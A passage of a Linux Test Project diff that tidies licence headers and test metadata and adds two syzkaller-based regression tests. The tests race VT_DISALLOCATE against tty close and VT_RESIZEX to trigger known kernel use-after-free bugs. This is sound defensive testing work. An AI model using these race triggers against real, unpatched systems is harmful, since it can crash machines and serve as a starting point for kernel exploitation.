-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-#  General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program; if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
-#  02110-1301, USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2011  Red Hat, Inc.
 
 top_srcdir		?= ../../../..
 thp04:			LDLIBS += -lrt
diff --git a/testcases/kernel/mem/thp/thp01.c b/testcases/kernel/mem/thp/thp01.c
index 2e75f85..69825b0 100644
--- a/testcases/kernel/mem/thp/thp01.c
+++ b/testcases/kernel/mem/thp/thp01.c
@@ -3,10 +3,11 @@
  * Copyright (C) 2011-2017  Red Hat, Inc.
  */
 
-/* Description:
+/*\
+ * [Description]
  *
  * This is a reproducer of CVE-2011-0999, which fixed by mainline commit
- * a7d6e4ecdb7648478ddec76d30d87d03d6e22b31:
+ * a7d6e4ecdb76 ("thp: prevent hugepages during args/env copying into the user stack")
  *
  * "Transparent hugepages can only be created if rmap is fully
  * functional. So we must prevent hugepages to be created while
@@ -15,10 +16,11 @@
  * It will cause a panic something like this, if the patch didn't get
  * applied:
  *
+ * ```
  * kernel BUG at mm/huge_memory.c:1260!
  * invalid opcode: 0000 [#1] SMP
  * last sysfs file: /sys/devices/system/cpu/cpu23/cache/index2/shared_cpu_map
- * ....
+ * ```
  *
  * Due to commit da029c11e6b1 which reduced the stack size considerably, we
  * now perform a binary search to find the largest possible argument we can
diff --git a/testcases/kernel/mem/thp/thp02.c b/testcases/kernel/mem/thp/thp02.c
index c0c8b9c..56568d1 100644
--- a/testcases/kernel/mem/thp/thp02.c
+++ b/testcases/kernel/mem/thp/thp02.c
@@ -1,21 +1,15 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (C) 2011-2017  Red Hat, Inc.
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
  */
 
-/* thp02 - detect mremap bug when THP is enabled.
+/*\
+ * [Description]
  *
- * There was a bug in mremap THP support, sometimes crash happened
- * due to the following reason according to developers:
+ * Test for detecting mremap bug when THP is enabled.
+ *
+ * There was a bug in mremap THP support, sometimes causing crash
+ * due to the following reason:
  *
  * "alloc_new_pmd was forcing the allocation of a pte before calling
  * move_huge_page and that resulted in a VM_BUG_ON in move_huge_page
@@ -23,15 +17,17 @@
  *
  * There are 4 cases to test this bug:
  *
- * 1) old_addr hpage aligned, old_end not hpage aligned, new_addr
- *    hpage aligned;
- * 2) old_addr hpage aligned, old_end not hpage aligned, new_addr not
- *    hpage aligned;
- * 3) old_addr not hpage aligned, old_end hpage aligned, new_addr
- *    hpage aligned;
- * 4) old_addr not hpage aligned, old_end hpage aligned, new_addr not
- *    hpage aligned.
+ * 1. old_addr hpage aligned, old_end not hpage aligned, new_addr
+ *    hpage aligned
  *
+ * 2. old_addr hpage aligned, old_end not hpage aligned, new_addr not
+ *    hpage aligned
+ *
+ * 3. old_addr not hpage aligned, old_end hpage aligned, new_addr
+ *    hpage aligned
+ *
+ * 4. old_addr not hpage aligned, old_end hpage aligned, new_addr not
+ *    hpage aligned
  */
 
 #define _GNU_SOURCE
@@ -44,7 +40,6 @@
 #include <unistd.h>
 #include "mem.h"
 
-#ifdef HAVE_MREMAP_FIXED
 static int ps;
 static long hps, size;
 
@@ -123,7 +118,3 @@
 	.test_all = do_mremap,
 	.forks_child = 1,
 };
-
-#else
-	TST_TEST_TCONF("MREMAP_FIXED not present in <sys/mman.h>");
-#endif /* HAVE_MREMAP_FIXED */
diff --git a/testcases/kernel/mem/thp/thp04.c b/testcases/kernel/mem/thp/thp04.c
index 985394d..c93da54 100644
--- a/testcases/kernel/mem/thp/thp04.c
+++ b/testcases/kernel/mem/thp/thp04.c
@@ -163,6 +163,7 @@
 	.test_all = run,
 	.setup = setup,
 	.cleanup = cleanup,
+	.max_runtime = 150,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "a8f97366452e"},
 		{"linux-git", "8310d48b125d"},
diff --git a/testcases/kernel/mem/tunable/Makefile b/testcases/kernel/mem/tunable/Makefile
index 867dcf0..80d64bb 100644
--- a/testcases/kernel/mem/tunable/Makefile
+++ b/testcases/kernel/mem/tunable/Makefile
@@ -1,21 +1,5 @@
-#
-#  Copyright (C) 2011  Red Hat, Inc.
-#
-#  This program is free software; you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or (at
-#  your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful, but
-#  WITHOUT ANY WARRANTY; without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-#  General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program; if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
-#  02110-1301, USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2011  Red Hat, Inc.
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/kernel/mem/tunable/max_map_count.c b/testcases/kernel/mem/tunable/max_map_count.c
index 4f0ad00..caf8972 100644
--- a/testcases/kernel/mem/tunable/max_map_count.c
+++ b/testcases/kernel/mem/tunable/max_map_count.c
@@ -55,20 +55,14 @@
 
 static long old_max_map_count = -1;
 static long old_overcommit = -1;
-static struct utsname un;
 
 static void setup(void)
 {
-	if (access(PATH_SYSVM "max_map_count", F_OK) != 0)
-		tst_brk(TBROK | TERRNO,
-			 "Can't support to test max_map_count");
+	SAFE_ACCESS(PATH_SYSVM "max_map_count", F_OK);
 
 	old_max_map_count = get_sys_tune("max_map_count");
 	old_overcommit = get_sys_tune("overcommit_memory");
 	set_sys_tune("overcommit_memory", 0, 1);
-
-	if (uname(&un) != 0)
-		tst_brk(TBROK | TERRNO, "uname error");
 }
 
 static void cleanup(void)
@@ -91,24 +85,30 @@
 	if (ret != 1)
 		return false;
 
-#if defined(__x86_64__) || defined(__x86__)
-	/* On x86, there's an old compat vsyscall page */
-	if (!strcmp(buf, "[vsyscall]"))
-		return true;
-#elif defined(__ia64__)
-	/* On ia64, the vdso is not a proper mapping */
-	if (!strcmp(buf, "[vdso]"))
-		return true;
-#elif defined(__arm__)
-	/* Skip it when run it in aarch64 */
-	if ((!strcmp(un.machine, "aarch64"))
-	|| (!strcmp(un.machine, "aarch64_be")))
-		return false;
+	switch (tst_arch.type) {
+	case TST_X86:
+	case TST_X86_64:
+		/* On x86, there's an old compat vsyscall page */
+		if (!strcmp(buf, "[vsyscall]"))
+			return true;
+		break;
+	case TST_IA64:
+		/* On ia64, the vdso is not a proper mapping */
+		if (!strcmp(buf, "[vdso]"))
+			return true;
+		break;
+	case TST_ARM:
+		/* Skip it when run it in aarch64 */
+		if (tst_kernel_bits() == 64)
+			return false;
 
-	/* Older arm kernels didn't label their vdso maps */
-	if (!strncmp(line, "ffff0000-ffff1000", 17))
-		return true;
-#endif
+		/* Older arm kernels didn't label their vdso maps */
+		if (!strncmp(line, "ffff0000-ffff1000", 17))
+			return true;
+		break;
+	default:
+		break;
+	};
 
 	return false;
 }
diff --git a/testcases/kernel/mem/tunable/min_free_kbytes.c b/testcases/kernel/mem/tunable/min_free_kbytes.c
index 09741ee..eab6c8b 100644
--- a/testcases/kernel/mem/tunable/min_free_kbytes.c
+++ b/testcases/kernel/mem/tunable/min_free_kbytes.c
@@ -231,7 +231,7 @@
 static struct tst_test test = {
 	.needs_root = 1,
 	.forks_child = 1,
-	.timeout = -1,
+	.max_runtime = TST_UNLIMITED_RUNTIME,
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = min_free_kbytes_test,
diff --git a/testcases/kernel/mem/tunable/overcommit_memory.c b/testcases/kernel/mem/tunable/overcommit_memory.c
index ac875ab..7fe8fe1 100644
--- a/testcases/kernel/mem/tunable/overcommit_memory.c
+++ b/testcases/kernel/mem/tunable/overcommit_memory.c
@@ -248,9 +248,9 @@
 	SAFE_SYSINFO(&info);
 
 	/* see linux source mm/mm_init.c mm_compute_batch() (This is in pages) */
-	long batch_size = MAX(ncpus * 2,
-	                      MAX(32,
-	                          MIN(INT32_MAX,
+	long batch_size = MAX(ncpus * 2L,
+	                      MAX(32L,
+	                          MIN((long)INT32_MAX,
 	                              (long)(info.totalram / pagesize) / ncpus / 256
 	                          )
 	                      )
@@ -265,7 +265,7 @@
 static struct tst_test test = {
 	.needs_root = 1,
 	.options = (struct tst_option[]) {
-		{"R:", &R_opt, "  -R n    Percentage of overcommitting memory"},
+		{"R:", &R_opt, "Percentage of overcommitting memory"},
 		{}
 	},
 	.setup = setup,
diff --git a/testcases/kernel/mem/vma/Makefile b/testcases/kernel/mem/vma/Makefile
index 3a4e2b4..057091e 100644
--- a/testcases/kernel/mem/vma/Makefile
+++ b/testcases/kernel/mem/vma/Makefile
@@ -1,21 +1,5 @@
-#
-#  Copyright (C) 2011  Red Hat, Inc.
-#
-#  This program is free software; you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or (at
-#  your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful, but
-#  WITHOUT ANY WARRANTY; without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-#  General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program; if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
-#  02110-1301, USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2011  Red Hat, Inc.
 
 top_srcdir              ?= ../../../..
 
diff --git a/testcases/kernel/mem/vma/vma05.sh b/testcases/kernel/mem/vma/vma05.sh
index c94a4b9..9ef6f0a 100755
--- a/testcases/kernel/mem/vma/vma05.sh
+++ b/testcases/kernel/mem/vma/vma05.sh
@@ -23,8 +23,6 @@
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_CMDS="gdb"
 
-. tst_test.sh
-
 CORE_LIMIT=$(ulimit -c)
 CORE_PATTERN=$(cat /proc/sys/kernel/core_pattern)
 
@@ -64,4 +62,5 @@
 	fi
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/kernel/numa/Makefile b/testcases/kernel/numa/Makefile
index 00ba273..fc136af 100644
--- a/testcases/kernel/numa/Makefile
+++ b/testcases/kernel/numa/Makefile
@@ -1,20 +1,5 @@
-#
-#  Copyright (c) International Business Machines  Corp., 2007
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2007
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/kernel/numa/numa01.sh b/testcases/kernel/numa/numa01.sh
index 803545f..367813c 100755
--- a/testcases/kernel/numa/numa01.sh
+++ b/testcases/kernel/numa/numa01.sh
@@ -22,8 +22,6 @@
 TST_NEEDS_ROOT=1
 TST_NEEDS_CMDS="awk bc numactl numastat"
 
-. tst_test.sh
-
 # Awk the field matching the node value for numastat
 # $1 - Pid number
 # $2 - Node number
@@ -35,7 +33,7 @@
                -v node="$nid" '{ for (i = 1; i <= NF; ++i) if($i==node) print i; exit }')
 }
 
-# Convert the value of given numa node from the `numastat -p` output,
+# Convert the value of given NUMA node from the `numastat -p` output,
 # multiply by size.
 # $1 - Pid number
 # $2 - Node number
@@ -82,9 +80,9 @@
 	done
 
 	tst_res TINFO "The system contains $total_nodes nodes: $nodes_list"
+
 	if [ $total_nodes -le 1 ]; then
-		tst_brk TCONF "your machine does not support numa policy
-		or your machine is not a NUMA machine"
+		tst_brk TCONF "SUT does not support NUMA policy or not a NUMA machine"
 	fi
 }
 
@@ -292,10 +290,10 @@
 			RC=$(awk '{ if ( NR == 1 ) {print $2;} }' gavail_nodes)
 			tst_res TPASS "NUMA policy on lib NUMA_NODE_SIZE API"
 		else
-			tst_res TFAIL "Failed with numa policy"
+			tst_res TFAIL "Failed with NUMA policy"
 		fi
 	else
-		tst_res TFAIL "Failed with numa policy"
+		tst_res TFAIL "Failed with NUMA policy"
 	fi
 }
 
@@ -383,4 +381,5 @@
 	tst_res TPASS "NUMA preferred node policy verified with THP enabled"
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/kernel/power_management/README b/testcases/kernel/power_management/README
index 8a3b57e..b8d6c31 100644
--- a/testcases/kernel/power_management/README
+++ b/testcases/kernel/power_management/README
@@ -82,6 +82,6 @@
 Refer to README in LTPROOT/utils/benchmark/ebizzy-0.2 directory for details of ebizzy.
 
 To test CPU consolidation for sched_mc 2 kernbench has to run. Kernbench needs linux kernel source as input in /root directory . For example download from http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.29.4.tar.bz2. If Linux kernel source not found kernbench wiil  not execute.
-CPU consolidation testcases will not execute if number of CPU's in package is less then 2. If system is hyper threaded but number of CPU is 1 only sched_smt testcases will be excuted. For better coverage of testcases select a system which is atleast quad core and then hyper threaded so that you will observe 8 CPU's in each package.
+CPU consolidation testcases will not execute if number of CPU's in package is less then 2. If system is hyper threaded but number of CPU is 1 only sched_smt testcases will be excuted. For better coverage of testcases select a system which is at least quad core and then hyper threaded so that you will observe 8 CPU's in each package.
 
-Timer migration interface test will execute on kernel versions 2.6.31 and above. Timer migration functionality verification testcases will be executed only on suitable architecture like quad core or the number of CPU's in each package should be atleast 4 and above
+Timer migration interface test will execute on kernel versions 2.6.31 and above. Timer migration functionality verification testcases will be executed only on suitable architecture like quad core or the number of CPU's in each package should be at least 4 and above
diff --git a/testcases/kernel/power_management/pm_include.sh b/testcases/kernel/power_management/pm_include.sh
index 35ff0f1..f3e1604 100755
--- a/testcases/kernel/power_management/pm_include.sh
+++ b/testcases/kernel/power_management/pm_include.sh
@@ -124,8 +124,8 @@
 
 is_multi_socket() {
 	no_of_sockets=`cat \
-		/sys/devices/system/cpu/cpu?/topology/physical_package_id \
-		| uniq | wc -l`
+		/sys/devices/system/cpu/cpu*/topology/physical_package_id \
+		| sort -u | wc -l`
 	[ $no_of_sockets -gt 1 ] ; echo $?
 }
 
diff --git a/testcases/kernel/pty/.gitignore b/testcases/kernel/pty/.gitignore
index 7f10484..acca3db 100644
--- a/testcases/kernel/pty/.gitignore
+++ b/testcases/kernel/pty/.gitignore
@@ -5,3 +5,5 @@
 /pty03
 /pty04
 /pty05
+/pty06
+/pty07
diff --git a/testcases/kernel/pty/Makefile b/testcases/kernel/pty/Makefile
index 87d70ac..ca698de 100644
--- a/testcases/kernel/pty/Makefile
+++ b/testcases/kernel/pty/Makefile
@@ -1,30 +1,12 @@
-#
-#    kernel/pty testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
 include $(top_srcdir)/include/mk/testcases.mk
 
-pty03 pty05: CFLAGS += -pthread
-pty03 pty05: LDLIBS += -lrt
+pty03 pty05 pty06 pty07: CFLAGS += -pthread
+pty03 pty05 pty06 pty07: LDLIBS += -lrt
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/pty/pty03.c b/testcases/kernel/pty/pty03.c
index 71bcb2e..53df6d6 100644
--- a/testcases/kernel/pty/pty03.c
+++ b/testcases/kernel/pty/pty03.c
@@ -1,14 +1,16 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2020 SUSE
- *
- * CVE-2020-14416
+ */
+
+/*\
+ * [Description]
  *
  * Test based on Syzkaller reproducer:
  * https://syzkaller.appspot.com/bug?id=680c24ff647dd7241998e19da52e8136d2fd3523
  *
  * The SLIP and SLCAN disciplines can have a race between write_wakeup and
- * close/hangup. This atleast allows the netdev private data (tty->disc_data)
+ * close/hangup. This at least allows the netdev private data (tty->disc_data)
  * to be set to NULL or possibly freed while a transmit operation is being
  * added to a workqueue.
  *
@@ -22,11 +24,11 @@
  * We also test a selection of other line disciplines, but only SLIP and SLCAN
  * are known to have the problem.
  *
- * Fixed by commit 0ace17d568241:
- * "can, slip: Protect tty->disc_data in write_wakeup and close with RCU"
- *
- * This is also regression test for commit:
- * dd42bf1197144 ("tty: Prevent ldisc drivers from re-using stale tty fields")
+ * Fixed by commit from v5.5:
+ * 0ace17d56824 ("can, slip: Protect tty->disc_data in write_wakeup and close with RCU")
+
+ * This is also regression test for commit from v4.5-rc1:
+ * dd42bf119714 ("tty: Prevent ldisc drivers from re-using stale tty fields")
  */
 
 #define _GNU_SOURCE
@@ -135,7 +137,6 @@
 static void setup(void)
 {
 	fzp.min_samples = 20;
-	fzp.exec_time_p = 0.1;
 
 	tst_fzsync_pair_init(&fzp);
 }
@@ -151,6 +152,7 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.needs_root = 1,
+	.max_runtime = 30,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "0ace17d568241"},
 		{"CVE", "2020-14416"},
diff --git a/testcases/kernel/pty/pty04.c b/testcases/kernel/pty/pty04.c
index 00b714c..8c7b1bf 100644
--- a/testcases/kernel/pty/pty04.c
+++ b/testcases/kernel/pty/pty04.c
@@ -78,7 +78,6 @@
 
 #include "tst_safe_stdio.h"
 
-#define str(s) #s
 #define SLCAN_FRAME "t00185f5f5f5f5f5f5f5f\r"
 
 struct ldisc_info {
@@ -92,7 +91,7 @@
 	{N_SLCAN, "N_SLCAN", CAN_MTU},
 };
 
-static int ptmx, pts, sk, mtu, no_check;
+static int ptmx = -1, pts = -1, sk = -1, mtu, no_check;
 
 static int set_ldisc(int tty, const struct ldisc_info *ldisc)
 {
@@ -296,7 +295,7 @@
 		}
 
 		if (frm.can_dlc != CAN_MAX_DLEN) {
-			tst_res(TFAIL, "can_dlc = %d != " str(CAN_MAX_DLEN),
+			tst_res(TFAIL, "can_dlc = %d != " TST_TO_STR_(CAN_MAX_DLEN),
 				frm.can_dlc);
 			no_check = 1;
 		}
@@ -455,9 +454,14 @@
 
 static void cleanup(void)
 {
-	ioctl(pts, TIOCVHANGUP);
-	ioctl(ptmx, TIOCVHANGUP);
-	close(sk);
+	if (pts >= 0)
+		ioctl(pts, TIOCVHANGUP);
+
+	if (ptmx >= 0)
+		ioctl(ptmx, TIOCVHANGUP);
+
+	if (sk >= 0)
+		close(sk);
 
 	tst_reap_children();
 }
diff --git a/testcases/kernel/pty/pty05.c b/testcases/kernel/pty/pty05.c
index afef051..35ecce9 100644
--- a/testcases/kernel/pty/pty05.c
+++ b/testcases/kernel/pty/pty05.c
@@ -97,6 +97,7 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.max_runtime = 150,
 	.tags = (const struct tst_tag[]) {
 		{"linux-git", "82f2341c94d27"},
 		{"CVE", "2017-2636"},
diff --git a/testcases/kernel/pty/pty06.c b/testcases/kernel/pty/pty06.c
new file mode 100644
index 0000000..cc95eb1
--- /dev/null
+++ b/testcases/kernel/pty/pty06.c
@@ -0,0 +1,106 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2022 xiaoshoukui <xiaoshoukui@ruijie.com.cn>
+ */
+
+/*\
+ * [Description]
+ *
+ * Test based on Syzkaller reproducer:
+ * https://syzkaller.appspot.com/bug?extid=522643ab5729b0421998
+ *
+ * The VT_DISALLOCATE ioctl can free a virtual console while tty_release() is
+ * still running, causing a use-after-free in con_shutdown(). This occurs
+ * because VT_DISALLOCATE only considers a virtual console to be in-use if it
+ * has a tty_struct with count > 0. But actually when count == 0, the tty is
+ * still in the process of being closed.
+ *
+ * Fixed by commit:
+ *
+ *  commit ca4463bf8438b403596edd0ec961ca0d4fbe0220
+ *  Author: Eric Biggers <ebiggers@google.com>
+ *  Date:   Sat Mar 21 20:43:04 2020 -0700
+ *
+ *    vt: vt_ioctl: fix VT_DISALLOCATE freeing in-use virtual console
+ */
+
+#define _GNU_SOURCE
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <errno.h>
+#include <termios.h>
+#include <linux/vt.h>
+#include "lapi/ioctl.h"
+
+#include "tst_test.h"
+#include "tst_safe_stdio.h"
+#include "tst_fuzzy_sync.h"
+
+#define BUF_SIZE 256
+static char tty_path_a[BUF_SIZE];
+static char tty_path_b[BUF_SIZE];
+static int test_tty_port = 8;
+static struct tst_fzsync_pair fzp;
+
+static void *open_close(void *unused)
+{
+	while (tst_fzsync_run_b(&fzp)) {
+		tst_fzsync_start_race_b(&fzp);
+		int fd = SAFE_OPEN(tty_path_b, O_RDWR);
+
+		SAFE_CLOSE(fd);
+		tst_fzsync_end_race_b(&fzp);
+	}
+
+	return unused;
+}
+
+static void do_test(void)
+{
+	int fd = SAFE_OPEN(tty_path_a, O_RDWR);
+
+	tst_fzsync_pair_reset(&fzp, open_close);
+
+	while (tst_fzsync_run_a(&fzp)) {
+		tst_fzsync_start_race_a(&fzp);
+		ioctl(fd, VT_DISALLOCATE, test_tty_port);
+		tst_fzsync_end_race_a(&fzp);
+		if (tst_taint_check()) {
+			tst_res(TFAIL, "Kernel is vulnerable");
+			return;
+		}
+	}
+	SAFE_CLOSE(fd);
+	tst_res(TPASS, "Did not crash with VT_DISALLOCATE");
+}
+
+static void setup(void)
+{
+	sprintf(tty_path_a, "/dev/tty%d", test_tty_port + 1);
+	sprintf(tty_path_b, "/dev/tty%d", test_tty_port);
+
+	if (access(tty_path_a, F_OK) || access(tty_path_b, F_OK))
+		tst_brk(TCONF, "TTY(s) under test not available in system");
+
+	tst_fzsync_pair_init(&fzp);
+}
+
+static void cleanup(void)
+{
+	tst_fzsync_pair_cleanup(&fzp);
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.max_runtime = 150,
+	.tags = (const struct tst_tag[]) {
+	    {"CVE", "2020-36557"},
+	    {"linux-git", "ca4463bf8438"},
+	    {}
+	}
+};
diff --git a/testcases/kernel/pty/pty07.c b/testcases/kernel/pty/pty07.c
new file mode 100644
index 0000000..cc3df55
--- /dev/null
+++ b/testcases/kernel/pty/pty07.c
@@ -0,0 +1,122 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2022 xiaoshoukui <xiaoshoukui@ruijie.com.cn>
+ */
+
+/*\
+ * [Description]
+ *
+ * The VT_DISALLOCATE ioctl can free a virtual console while VT_RESIZEX ioctl is
+ * still running, causing a use-after-free in vt_ioctl(). Because VT_RESIZEX ioctl
+ * have not make sure vc_cons[i].d is not NULL after grabbing console_lock().
+ *
+ * Fixed by commit:
+ *
+ *  commit 6cd1ed50efd88261298577cd92a14f2768eddeeb
+ *  Author: Eric Dumazet <edumazet@google.com>
+ *  Date:   Mon Feb 10 11:07:21 2020 -0800
+ *
+ *    vt: vt_ioctl: fix race in VT_RESIZEX
+ */
+
+#define _GNU_SOURCE
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <errno.h>
+#include <termios.h>
+#include <linux/vt.h>
+#include "lapi/ioctl.h"
+
+#include "tst_test.h"
+#include "tst_safe_stdio.h"
+#include "tst_fuzzy_sync.h"
+
+#define BUF_SIZE 256
+#define MAX_NR_CONSOLES 63
+
+static char tty_path[BUF_SIZE];
+static int test_tty_port = 8;
+static int fd = -1;
+static struct tst_fzsync_pair fzp;
+
+static struct vt_consize consize;
+static unsigned short vt_active;
+
+static void *open_close(void *unused)
+{
+	int i;
+
+	while (tst_fzsync_run_b(&fzp)) {
+		tst_fzsync_start_race_b(&fzp);
+		for (i = test_tty_port; i < MAX_NR_CONSOLES; i++) {
+			ioctl(fd, VT_ACTIVATE, i);
+			ioctl(fd, VT_DISALLOCATE, i);
+		}
+		tst_fzsync_end_race_b(&fzp);
+	}
+
+	return unused;
+}
+
+static void do_test(void)
+{
+
+	tst_fzsync_pair_reset(&fzp, open_close);
+
+	while (tst_fzsync_run_a(&fzp)) {
+		tst_fzsync_start_race_a(&fzp);
+		ioctl(fd, VT_RESIZEX, &consize);
+		tst_fzsync_end_race_a(&fzp);
+		if (tst_taint_check()) {
+			tst_res(TFAIL, "Kernel is buggy");
+			break;
+		}
+	}
+	tst_res(TPASS, "Did not crash with VT_RESIZE");
+}
+
+static void setup(void)
+{
+	struct vt_stat stat;
+	struct winsize wsize;
+
+	sprintf(tty_path, "/dev/tty%d", test_tty_port);
+	if (access(tty_path, F_OK))
+		tst_brk(TCONF, "TTY (/dev/tty%d) under test not available in system", test_tty_port);
+
+	fd = SAFE_OPEN(tty_path, O_RDWR);
+	SAFE_IOCTL(fd, VT_GETSTATE, &stat);
+	vt_active = stat.v_active;
+
+	tst_res(TINFO, "Saving active console %i", vt_active);
+
+	SAFE_IOCTL(fd, TIOCGWINSZ, &wsize);
+	consize.v_rows = wsize.ws_row;
+	consize.v_cols = wsize.ws_col;
+	tst_fzsync_pair_init(&fzp);
+}
+
+static void cleanup(void)
+{
+	tst_fzsync_pair_cleanup(&fzp);
+
+	if (fd >= 0) {
+		tst_res(TINFO, "Restoring active console");
+		SAFE_IOCTL(fd, VT_ACTIVATE, vt_active);
+		SAFE_CLOSE(fd);
+	}
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.max_runtime = 150,
+	.tags = (const struct tst_tag[]) {
+		{ "linux-git", "6cd1ed50efd8"},
+		{}
+	}
+};
diff --git a/testcases/kernel/sched/Makefile b/testcases/kernel/sched/Makefile
index 6a57d79..d346388 100644
--- a/testcases/kernel/sched/Makefile
+++ b/testcases/kernel/sched/Makefile
@@ -1,24 +1,6 @@
-#
-#    kernel/sched test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/kernel/sched/autogroup/Makefile b/testcases/kernel/sched/autogroup/Makefile
index 6cc7782..c01c9e6 100644
--- a/testcases/kernel/sched/autogroup/Makefile
+++ b/testcases/kernel/sched/autogroup/Makefile
@@ -1,20 +1,6 @@
-#
-#  Copyright (c) 2017 Fujitsu Ltd.
-#  Author: Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
-#
-#  This program is free software; you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY; without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#  GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program; if not, see <http://www.gnu.org/licenses/>.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2017 Fujitsu Ltd.
+# Author: Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/kernel/sched/cfs-scheduler/.gitignore b/testcases/kernel/sched/cfs-scheduler/.gitignore
index db2759e..c5dacd6 100644
--- a/testcases/kernel/sched/cfs-scheduler/.gitignore
+++ b/testcases/kernel/sched/cfs-scheduler/.gitignore
@@ -1 +1,2 @@
 /hackbench
+cfs_bandwidth01
diff --git a/testcases/kernel/sched/cfs-scheduler/Makefile b/testcases/kernel/sched/cfs-scheduler/Makefile
index aa3bf84..2ffe1f7 100644
--- a/testcases/kernel/sched/cfs-scheduler/Makefile
